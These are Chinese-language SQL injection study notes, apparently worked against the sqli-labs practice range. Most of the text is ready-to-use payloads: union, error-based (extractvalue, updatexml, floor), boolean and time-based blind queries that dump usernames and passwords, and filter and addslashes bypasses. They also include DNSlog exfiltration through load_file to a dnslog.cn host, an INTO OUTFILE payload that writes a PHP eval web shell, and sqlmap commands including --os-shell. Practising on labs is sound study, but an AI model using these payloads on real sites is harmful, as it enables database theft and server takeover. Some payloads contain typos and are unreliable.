一、SQL注入
原理:通过把sql命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,从而得到黑客所需的信息。
1、利用搜索引擎找sql注入
(1)、在搜索引擎内输入site.根域名 filetype:文本格式(例如pdf,xls)敏感信息文字
(2)、输入site.根域名 inurl:网址后台(例如admin,?id=1)
2、利用已有漏洞探测同类型的网站
3、分类:
(1)、数据类型分类:
数字型/整型
数字型注入点的样式形如: http://www. target. com/ news. asp?id=123
语句写法: sq1="select * from admin where id="& id
判断方法: and 1=1 正常显示
and 1=2 不能正常显示
字符型
字符型注入点的样式形如:
http://www. target. com/ news. asp?name=fooying
语句写法: sq1="select * from admin where name=' ”& name &"' ”
判断方法:’ and '1'='1,' and '1'='2 ’
搜索型
搜索型可以看做是字符型注入点的一种特殊形式,其注入点形式通常是这样的: .http://www. target. com/ search. asp?keyword=关键字
语句写法: sql="select * from admin where keyword like' %"& keyword &"%’ ”
(2)、位置分类:GET型(?传参),POST型,Head型
(3)、反馈结果分类:回显(显错注入),无回显(盲注)
4、过程
(1) 寻找sql注入漏洞(以这个为例page.php?id=1)
利用完整性原则,sql语句不能只有一个单引号,如果在http://examp | e.com中加入单引号#号则 会 报出sqL语句错误输双引号正确那就有sql注入,万能报错输入’”)
判断是否有sql注入,在id=1' 加入单引号如果有报错,存在sql注入漏洞
再加一个单引号不报错但是显示错误的信息(单引号双引号右括号)
利用逻辑性原则,如在http://examp | e.com中id=1 and 1=2#找不到内容则存在sql漏洞
利用运算符原则
有传参的地方就有可能存在sql注入
(2)、查看当前表有几列
方法:id=1' order by 1 # (order by 1-n 一个一个尝试直到报错)
(3)、查看数据库名
方法:?id=-1' union select 1,2,3 -- a
?id=-1' union select 1,database(),3 -- a
如果参数为:
?id=1' union select 1,2,3 --+
那么查询语句就是:
select * from users where id='1' union select 1,2,3 --+' limit 0,1
目前页面中只有两个回显所以id要输入一个不存在的数例如id=-1或id=0
当参数为:
?id=-1' union select 1,2,3 --+
那么查询语句就是:
select * from users where id='-1' union select 1,2,3 --+' limit 0,1
之前order by 查询到有几列那就在联合查询下输入几列
(4)、查看表名
方法:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- a
information_schema是mysql自带信息数据库
concat用法:
功能:将多个字符串连接成一个字符串。
语法: concat(str1, str2,..)
concat_ws用法:
功能:和concat()-样,将多个字符串连接成一个字符串 ,但是可以一次性指定分隔符( concat_ws就是concat with separator )
语法: concat_ws(separator, str1, str2, ..)
separator拼接的字符,将str1与str2进行拼接
group_concat用法:
功能:将group by产生的同一一个分组中的值连接起来,返回一个字符串结果。
语法: group_ concat( [distinct]要连接的字段[order by排序字段asc/desc ])
(5)、查询表的所有列
方法:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- a
查询出来结果很多是因为其他数据库里也有很多叫users的表,本身这个表内只有id,username,password
(6)、查询具体列内容
方法:?id=-1' union select 1,2,group_concat(username,password) from users -- a
二、联合注入过滤绕过技巧
联合注入不适用情形:
union关键字被完全过滤
页面中压根不返回查询数据
1、利用以下函数进行过滤
(1)、srt_replace函数替换了sql语句的关键字
(2)、正则替换preg_replace
(3)、 preg_match查询关键字
如果在模式分割符后面加一个i标记这是一个大小写不敏感的搜索
(’/union|benchmark|sleep/i',$sql)
(4)、addslashes是在定义字符前加一个\符,将1\' --+变成一个字符串,使得1‘ --+不会闭合前面的单引号从而绕过后面
select * from admin where id = '1'
如果用户输入单引号,那么此时SQL语句为
select * from admin where id = '1'' 经过addslashes函数的处理SQL语句会变为
select * from admin where id = '1\'' 由于查询的1\' 不存在此时不会输出数据,也无法进行引号逃逸
2、如何绕过
(1)、大小写组合绕过
在MySQL中,大小写字母的含义是一致的,如果在进行过滤提交的数据过程中,没有对大小进行过滤,那么此时就会造成大小写绕过过滤的情况。
例如:union被屏蔽,那就使用Union
(2)、双写绕过
在使用preg_replace函数过程中,默认情况下只进行一次匹配,因此如果匹配到字符替换为空的情况,就可以造成双写绕过。
(3)、过滤单引号绕过十六进制
在MySQL数据库中的sql语句,对于字符串数据必须使用引号,对于字符串来说,MySQL也识别字符串中的每个字符所对应的ASCLL码的16进制,此时可以使用0*16进制替换字符串,从而绕过引号对字符串的限制。
select * from admin where id = '1'' 经过addslashes函数的处理SQL语句会变为
select * from admin where id = '1\'' 由于查询的1\' 不存在此时不会输出数据,也无法进行引号逃逸
(4)、宽字节注入逃逸引号
如果数据库中存储数据使用的编码方式是GBK,那么由于用户输入的内容会进行双字节的组合,会导致用户输入的字节与反斜杠组合,从而逃逸引号。
select * from admin where id = '1\'' 由于查询的1\' 不存在此时不会输出数据,也无法进行引号逃逸。但是如果数据库中使用GBK编码数据,此时就可以进行引号逃逸。
用户输入%df' 经过程序处理%df\ '此时改为 %df%5c 组合GBK识别的汉字,之后闭合单引号即可。
select * from admin where id = ' 1%df' '
select * from admin where id = '1%df\''
select * from admin where id = ' 1%df%5c''
select * from admin where id = ' 1%df%5c'
select * from admin where id = '1%df%5c' 注入SQL语句(各种利用方式) - - +'
三、报错注入
原理:构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包含数据库中内容
命令执行但页面不回显
1、使用extractValue()报错注入
查询函数extractValue
(1)、爆出库名
方法:?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 --+
正确的形式:extractvalue(列名,'/路径') 在这里把/故意输错为~就是0x7e出现报错,返回报错提示中包含数据库中的库名
(2)、爆出表名
写法:?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
(3)、爆出列名
写法:?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
(4)、爆出具体用户和密码
写法:?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~~~',password) from users))) --+
这里默认返回32个字符串
写法:?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'--',password),1,31) from users))) --+
用substring可以显示更多,从第1个字符开始显示31个字符
2、updatexml函数
updatexml(列,‘/路径’,替换查找到的符合条件的数据)
(1)、爆出库名
输入id=1‘ 显示正确,输入id=1'' 显示错误所以可以判断出该语句的闭合方式是双引号
写法:?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(2)、爆出表名
写法:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
(3)、爆出列名
写法:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
(4)、爆出用户和密码
写法:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,'~~~',password) from users),0x7e),1)--+
3、floor报错
(1)、函数
rand()函数:随机返回0-1间的小数
floor()函数:小数向下取整,向上取整ceiling()
as:别名
group by句子:分组语句
count()函数:汇总统计数量
例如:select rand() from users; 在users这个表内的行数随机显示
例如:select floor(rand()*2); 在0-1之间向下取整要么为0要么为1
例如:select concat_ws('-',(select database()),floor(rand()*2)); 查询结果为security-0/1
例如:select concat_ws('-',(select database()),floor(rand()*2)) as xixi from users group by xixi; as别名,group by分组
例如:select count(*),concat_ws('-',(select database()),floor(rand()*2)) as xixi from users group by xixi; 利用count()函数统计security-0/1各自出现的数量(偶尔会报错)
例如:select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as xixi from users group by xixi;
select floor(rand(0)*2);
输出结果为01101。。。,将0与security组合变成security-0,进行第一次计算但没有找到security-0这个关键字组,于是进行第二次计算security-1填入关键字组,汇报数量计一次统计,将1与security组合变成security-1,进行第三次计算,security-1存在,汇报数量计第二次统计,将0与security组合变成security-0,进行第四次计算但没有找到security-0这个关键字组,于是进行第五次计算key值security已存在,出现报错,计第三次统计(总结security-1不能出现三次)
(2)floor注入
爆出库名
写法:?id=1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as xixi from users group by xixi --+
爆出表
这里爆出第一张表
写法:?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit ?,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
写法:?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
爆出列名
写法:?id=1' union select 1,count(*),concat_ws('-',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as xixi from information_schema.tables group by xixi --+
写法:?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
爆出用户名和密码
写法:?id=0' union select 1,count(*),concat_ws('-',(select concat('-',id,username,':',password) from users limit ?,1),floor(rand(0)*2)) as xixi from information_schema.tables group by xixi --+
爆出第一行用户名和密码
写法:?id=0' union select 1,count(*),concat_ws('-',(select concat('-',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as xixi from information_schema.tables group by xixi --+
group by不显示可以尝试group
四、盲注
原理:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入
盲注分类: 布尔盲注,时间盲注, 报错盲注
1、布尔盲注
原理:web页面只返回true真,false假两种类型,利用页面返回不同,逐个猜解开数据
(1)、布尔盲注的条件:
输入以下两种条件即存用布尔盲注
真页面(查询命令执行但不返回任何的信息):?id=1' and 1=1 --+
假页面:?id=1' and 1=1 --+
(2)、布尔盲注闭合符号判断
(3)、函数ascii()将字母转换为对应的字母
数字更好进行比较
写法:?id=1' and ascii('e')=101 --+
满足条件页面显示真
写法:?id=1' and ascii((select database()))
在select database() 中查询到数据库名但不显示就可以利用ascii,但ascii不能够吧把多个字母转换换为字符只能转换第一个字母跟后面数字进行比较看页面显示的为真还是假
在这里即可利用substring((在哪取),取第几个数,取几个)
爆出库名
写法:?id=1' and ascii(substring((select database()),1,1))>=?--+
写法:?id=1' and ascii(substring((select database()),1,1))>=120 --+
将问号中的数字依次猜,100,110发现都显示you are in所以都是真于是继续猜120,发现120不显示则为假,说明这个字母转为ascii字符是小于120的,然后折中猜一直猜到最后一个显示you are in的数,在这里是115,所以数据库名字第一个ascii是115控制字符为s。
写法:?id=1' and ascii(substring((select database()),2,1))>=? --+
写法:?id=1' and ascii(substring((select database()),2,1))>=101 --+
爆出表名
写法:?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=? --+
写法:?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>=101 --+
爆出列名
写法:?id=1' and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=? --+
写法:?id=1' and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>=105 --+
2、时间盲注
原理:web页面只返回一个正常页面,利用页面响应时间不同,逐个猜解数据(前提是数据库会执行命令代码,只是不反馈页面信息)
(1)、闭合方式判断
(2)、sleep()
sleep(3)参数是休眠时间,以秒为单位
写法:?id=1 and sleep(10) --+
(3)、函数if(condition,true,false)condition为条件,true当条件为真时返回的值,false当条件为假时返回的值
例如:if(1=1,sleep(0),sleep(3)) 这里1=1为真,返回sleep(0)在零秒后返回值
爆出库名
写法:?id=1' and if(ascii(substring((select database()),1,1))>120,sleep(0),sleep(10)) --+
根据返回的you are in 时长来判断用ascii英文字母转换为数字与120作比较,判断是否为真
爆出表名
写法:?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(0),sleep(10)) --+
爆出列名
写法:?id=1' and if(ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,sleep(0),sleep(10)) --+
爆出具体的用户和密码
写法:?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))>60,sleep(0),sleep(10)) --+
先判断它是否大于60,结果返回时间很快说明这个数大于60
写法:?id=1' and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(0),sleep(10)) --+
3、DNSlog注入
无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。
(1)、load_file(路径)读取本机路径和读取网上服务器共享路径
获取DNS路径http://dnslog.cn/
爆出数据库名
写法:?id=1' and (select load_file(concat_ws("//",(select database()),".1r7rsc.dnslog.cn/xixi.txt"))) --+
.1r7rsc.dnslog.cn/xixi.txt 注意前面有一个点来连接域名
在dnslog日志中查询
爆出表名
写法:?id=1' and (select load_file(concat("//",(select table_name from information_schema tables where table_schema=database() limit 0,1),".1r7rsc.dnslog.cn/xixi.txt"))) --+
爆出用户名
?id=1' and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),".1r7rsc.dnslog.cn/xixi.txt"))) --+
五、sql注入文件上传
查看数据库是否有读取写入文件的权限show variables like '%secure%'
先判断是字符型还是数字型
如果是字符型测试闭合符是否正确 ?id=1')) and 1=1 --+ ?id=1')) and 1=2 --+
测试列数 ?id=1')) group by 3--+
1、实例
写法:?id=-1')) union select 1,"<?php @eval($_POST['xixi']);?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\xixi.php"-- a
<?php @eval($_POST['xixi']);?>一句话木马 xixi密码
D:\\phpStudy\\PHPTutorial\\WWW\\xixi.php文件目录路径 xixi.php插入的文件名
查看目录里是否存在文件
用蚁剑连一下目标靶场
拿到了电脑的使用权,最后注入目标达成
六、sqlmap
sqlmap的特性
order by特性(列数一致)
完整性(有始有终成双成对)
逻辑性(真语句 and 真=真)(真语句 or 假=真)(真语句 && 1>0)
支持运算符号
1、参数说明
--is-dba 当前用户权限
--dbs 所有数据库
--current-db 网站当前数据
--users 所有数据库用户
--current-user 当前数据库用户
-random-agent 构造随机user-agent
-passwords 数据库密码
-proxy http://local:8080 代理
-threads 10 自定义线程
-time-sec=TIMESEC DBMS响印的延迟时间(5s)
--os-shell 获取shell
--batch 非交互模式
2、sqlmap如何打开
然后在跳出的弹框输入python sqlmap.py -h
输入salmap -u http://examp | e.com --dbs 跑出数据库
输入salmap -u http://examp | e.com -D 数据库名 --tables 跑出指定表
输入salmap -u http://examp | e.com -D 数据库名 -T 表名 --columns 跑出指定表的列名
输入salmap -u http://examp | e.com -D数据库名 -T 表名 --C 指定列 --dump 跑出指定列中的值
七、POST提交注入
1、区别:
(1)get提交可以缓存,post提交不会缓存
(2)post提交比get提交更安全
(3) get提交可在URL上查看到历史记录,post提交只封装在数据包内
(4) get提交可收藏书签,post提交不可以
(5) get提交 有长度限制,post提交 没有长度限制但只允许用ascii字符和二进制数据
2、post提交的使用
less-11当网站需要登录时username存在注入点时,可以使用post提交,用or指令绕过密码验证
写法:uname=admin' or 1=1 #
查询列数
写法:uname=admin' group by 2 #
爆出库名
写法:uname=admin' union select 1,(select database())#
爆出表名
写法:uname=admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
爆出列名
写法:uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#
爆出用户名和密码
写法:uname=1' union select 1,(select group_concat(username,':',password) from users)#
八、POST报错注入
判断闭合方式
less-13 提交用户名admin'看是否报错,有报错,看报错显示中的闭合符号
页面没有信息返回,但是会显示报错,可以使用报错注入extravalue(),updatexml(),floor()
写法:admin') or 1=1#
利用floor(rand(0)*2)
爆出数据库
写法:admin') union select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a -- a
爆出表
写法:admin') union select count(*),concat_ws('-',(selec table_name from information_schema.table where table_schema=database() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a -- a
爆出列名
写法:admin') union select count(*),concat_ws('-',(selec column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a -- a
爆出用户名和密码
写法:admin') union select count(*),concat_ws('-',(selec concat(username,':',password from users limit 0,1)),floor(rand(0)*2)) as a from information_schema.tables group by a -- a